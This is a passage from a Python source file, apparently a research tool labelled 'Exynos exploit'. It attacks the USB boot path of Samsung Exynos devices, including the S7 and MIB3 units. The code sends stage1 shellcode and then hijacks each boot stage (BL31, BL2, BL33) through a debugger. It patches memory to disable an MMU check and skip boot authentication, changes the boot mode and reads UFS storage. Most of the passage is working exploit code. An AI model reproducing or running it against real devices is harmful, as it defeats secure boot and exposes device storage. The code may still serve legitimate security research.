self.connect_device()
|
|
self.send_normal_stage(bl31)
|
|
time.sleep(2)
|
|
|
|
# Assure that the debugger is returning (obligatory assuration)
|
|
self.usb_read(0x200) # GiAs
|
|
|
|
# self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)) # to restore the oginal boot flow, without getting back to the debugger
|
|
|
|
# Set LR to continue boot flow
|
|
self.cd.restore_stack_and_jump(BL1_RA)
|
|
|
|
# Assure return to debugger
|
|
time.sleep(2)
|
|
self.usb_read(0x200) # GiAs
|
|
# self.cd.memwrite_region(0x02031008, b"ELH") # Patch something in BL31
|
|
|
|
# Get pointer to where BL31 returns to
|
|
BL31_RA_PTR = self.cd.arch_dbg.state.LR
|
|
|
|
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
|
TTBR0_EL3 = 0x02035600 # Zeroed out
|
|
|
|
# Modifies/disables setting up MMU (but is set up eventually) -> MMU says 0x0 instead of 0x1, but still little access (and proper USB recovyer boot!?)
|
|
MMU_CHECK = 0x0202a314
|
|
if not args.MIB3:
|
|
MMU_CHECK = 0x020244e8
|
|
self.cd.memwrite_region(MMU_CHECK, struct.pack('>I', 0x1f0c00f1)) # Change check to always be false
|
|
|
|
# DWC3 OTG update mode -> Might be useful at some point?
|
|
# self.cd.memwrite_region(0x02021580, struct.pack('>I', 0x00000000))
|
|
|
|
# Jump into BL31 and execute it
|
|
BL31_POINTER = 0x02024010
|
|
if args.MIB3:
|
|
BL31_POINTER = 0x0202a010
|
|
self.cd.restore_stack_and_jump(BL31_POINTER) #BL31_RA_PTR
|
|
else:
|
|
self.cd.restore_stack_and_jump(BL31_POINTER)
|
|
|
|
# Obligatory reconnect and check of debugger
|
|
time.sleep(2)
|
|
self.connect_device()
|
|
self.usb_read(0x200) # GiAs
|
|
BL31_ra = self.cd.arch_dbg.state.LR
|
|
|
|
self.print_registry_status()
|
|
|
|
# self.cd.arch_dbg.fetch_special_regs() # -> Does not work with, "--MIB3" original debugger (?->memory overlap somewhere). Only with relocated debugger.
|
|
VBAR_EL3 = self.cd.arch_dbg.state.VBAR_EL3
|
|
|
|
self.test_write_execute(0x11207010)
|
|
|
|
#if args.MIB3:
|
|
# self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
|
|
|
self.cd.restore_stack_and_jump(hijacked_fun) # Jumps to function that waits for next boot stage
|
|
|
|
# ==== Stage 4 BL2 ====
|
|
self.send_normal_stage(bl2)
|
|
time.sleep(2)
|
|
self.connect_device()
|
|
self.usb_read(0x200) # GiAs
|
|
|
|
self.print_registry_status()
|
|
|
|
# Restore bootflow
|
|
print(self.cd.arch_dbg.state.print_ctx()) # X29 here determines where the 'authentication' is taking place
|
|
BL33_ptr = self.cd.arch_dbg.state.X0
|
|
BL33_LR = self.cd.arch_dbg.state.LR
|
|
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
|
|
|
# self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)
|
|
# Disable this to keep access to the debugger after senindg the next stage
|
|
#self.cd.arch_dbg.state.X23 = DEBUGGER_ADDR # TEMPORARY
|
|
|
|
self.cd.restore_stack_and_jump(hijacked_fun)
|
|
time.sleep(1)
|
|
self.connect_device()
|
|
|
|
# Add 00 to the end of bl33
|
|
#bl33 += b"\x00"
|
|
|
|
self.send_normal_stage(bl33) # Never return/completes
|
|
self.connect_device()
|
|
self.usb_read(0x200)
|
|
|
|
# Change bootmode on S7 to SDCARD (allow normal booting, if pressing volume up)
|
|
if not args.MIB3:
|
|
self.cd.memwrite_region(0x8f01dbdc, struct.pack('>I', 0x03030035))
|
|
self.cd.memwrite_region(0x8f01dbe0, struct.pack('>I', 0x80f9ff34))
|
|
|
|
# Move default values into registers
|
|
self.cd.memwrite_region(0x8f021bac, struct.pack('>I', 0x20008052))
|
|
self.cd.memwrite_region(0x8f021bdc, struct.pack('>I', 0x20008052))
|
|
self.cd.memwrite_region(0x8f021bbc, struct.pack('>I', 0x20008052))
|
|
|
|
# Jump into a different function that continues the boot flow (different than BL33_LR)
|
|
BL33_AUTH = 0x02024e5c
|
|
if args.MIB3:
|
|
self.cd.memwrite_region(0xcf08aa59, b"\x4c\x44\x46\x58") #58 was 57 in INIT print
|
|
#self.cd.memwrite_region(0xcf05e2b0, struct.pack('>I', 0x20000014)) # Change bootmode to GPT
|
|
self.cd.memwrite_region(0xcf026b94, struct.pack('>I', 0x210000b4)) # Change bootmode to GPT
|
|
BL33_AUTH = 0x202ae18 # BL33_LR
|
|
|
|
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
|
self.cd.restore_stack_and_jump(BL33_AUTH)
|
|
|
|
time.sleep(1)
|
|
self.usb_read(0x200)
|
|
|
|
self.read_ufs(DEBUGGER_ADDR)
|
|
|
|
pass
|
|
|
|
|
|
def read_ufs(self, DEBUGGER_ADDR):
|
|
"""
|
|
Read UFS
|
|
|
|
Argument structure is: param1, param2[]. With param2 being the cmd list
|
|
param1 = offset
|
|
"""
|
|
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
|
ufs_read_addr = 0xcf013840
|
|
self.cd.arch_dbg.state.X4 = 0x155A0000
|
|
self.cd.restore_stack_and_jump(ufs_read_addr)
|
|
pass
|
|
|
|
|
|
if __name__ == "__main__":
|
|
arg = argparse.ArgumentParser("Exynos exploit")
|
|
arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False)
|
|
arg.add_argument("--unsecure-boot", action="store_true", help="Unsecure boot", default=False)
|
|
arg.add_argument("--debugger-boot", action="store_true", help="Unsecure boot", default=False)
|
|
arg.add_argument("--MIB3", action="store_true", help="Whether boot is on a MIB3", default=False)
|
|
|
|
args = arg.parse_args()
|
|
exynos = ExynosDevice()
|
|
|
|
if args.debug:
|
|
shellcode = open("../dwc3_test/dwc3.bin", "rb").read()
|
|
exynos.exploit(shellcode)
|
|
exynos.dump_memory(write=True)
|
|
# exynos.usb_debug()
|
|
sys.exit(0)
|
|
|
|
if args.unsecure_boot:
|
|
exynos.unsecure_boot()
|
|
sys.exit(0)
|
|
|
|
stage1 = open("stage1/stage1.bin", "rb").read()
|
|
exynos.exploit(stage1)
|
|
|
|
if args.debugger_boot:
|
|
exynos.debugger_boot()
|
|
sys.exit(0)
|
|
|
|
exynos.setup_guppy_debugger()
|
|
exynos.dumb_interact()
|
|
|
|
sys.exit(0) |